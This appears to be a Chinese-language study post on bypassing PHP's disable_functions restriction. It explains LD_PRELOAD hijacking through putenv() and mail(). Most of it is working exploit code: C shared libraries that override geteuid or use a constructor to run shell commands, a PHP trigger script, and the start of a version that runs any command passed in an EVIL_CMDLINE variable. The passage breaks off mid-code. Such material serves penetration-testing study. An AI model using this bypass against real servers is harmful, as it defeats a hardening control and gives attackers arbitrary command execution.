disable_functions简介
PHP配置文件中的disable_functions选项,用于禁用一些危险函数,可用户自定义。
渗透中常见的可执行系统命令的函数如下:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_exec
bypass 学习
写在前面的废话
脚本拿过来都会用,但是不懂原理跟废物没啥区别,我不想做废物所以学习了一下。
文章记录一些常见的bypass方法,不包括由于黑名单过滤不全导致的问题,如:忘记过滤pcntl_exec等。
PHP执行命令函数
assert,system,passthru,exec(“),pcntl_exec,shell_exec,popen,proc_open
LD_PRELOAD
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。
用个例子来了解LD_PRELOAD:
/*
passwd.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!n");
return;
}
printf("Invalid Password!n");
}
/* hack.c */
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
/* 永远返回0,表示两个字符串相等 */
return 0;
}
$ gcc -o verifypasswd passwd.c
$ gcc -shared -fPIC -o hack.so hack.c
/* 依次执行以下命令效果如下图 */
[[email protected] disable_func]# ./verifypasswd 123456
[[email protected] disable_func]# export LD_PRELOAD="./hack.so"
[[email protected] disable_func]# ./verifypasswd 123456
*可以发现程序载入了我们重写的strcmp函数
putenv
设置环境变量的值 (PHP 4, PHP 5, PHP 7)
/* 用法 */
putenv ( string `$setting` ) : bool (添加 `setting` 到服务器环境变量。)
环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。(简单来说就是临时的环境变量修改,脚本运行结束时恢复)
利用LD_PRELOAD + putenv bypass (linux)
php mail()
php中的mail()函数运行时会启动子进程调用sendmail,因此我们只要找一个sendmail使用的函数,利用LD_PRELOAD优先加载动态链接库来覆盖掉原函数即可。
bypass的简单实现
/* hack.c */
#include <stdlib.h> #include <stdio.h> #include <string.h> int geteuid()
{ if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD"); system("whoami > /tmp/user");
}
/* bypass.php */
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
[[email protected] html]# gcc -shared -fPIC -o hack.so hack.c
[[email protected] html]# php bypass.php
__attribute__ ((__constructor__))
用法:__attribute__((attribute-list))
括号内为attribute的参数。
/* __attribute__ ((__constructor__)) */
constructor参数,让系统执行main()函数之前调用(被__attribute__ ((__constructor__))修饰过的函数)。这一点感觉就是PHP反序列化总的析构函数?。简单来说,就是最先执行__attribute__ ((__constructor__))修饰过的函数。
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void)
{
unsetenv("LD_PRELOAD");
system("whoami > /tmp/user");
}
完整实现
简单修改了下PHP脚本.
/* hack.c */
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// 这里是通过PHP putenv获取的环境变量来达到动态执行系统命令
const char* bashshell = getenv("EVIL_CMDLINE");
// 注销掉环境变量
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '